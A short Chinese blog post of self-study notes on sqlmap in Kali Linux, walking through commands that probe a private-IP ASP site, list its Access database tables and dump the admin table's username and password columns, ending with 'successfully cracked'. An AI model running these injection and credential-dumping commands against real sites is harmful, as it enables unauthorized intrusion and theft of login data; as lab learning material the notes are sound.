sqlmap

欢迎关注博主的公众号：薛定谔的小鱼儿

自学sqlmap，以下是我的部分总结，如果有错误，希望各位大神指出，谢谢。

我在kail环境下进行sqlmap学习。首先进入sqlmap

在安装了sqlmap后，在终端直接输入sqlmap，进入sqlmap。

在进入sqlmap后，选择目标url，如：sqlmap -u http://192.168.1.3:8008/onews.asp?id=45

-u 后是目标url

返回结果可以看到目标主机的操作系统是Windows 2003/XP；web应用技术是asp.net ,IIS,ASP。数据库：access

查看用户

探测数据库中和表信息：sqlmap -u http://19.168.1.3:8008/onews.asp?id=45 --dump -tables

可以看到数据库的结构

查看admin和password的内容：sqlmap -u http://19.168.1.3:8008/onews.asp?id=45 --dump -T admin -C admin,password

成功破解。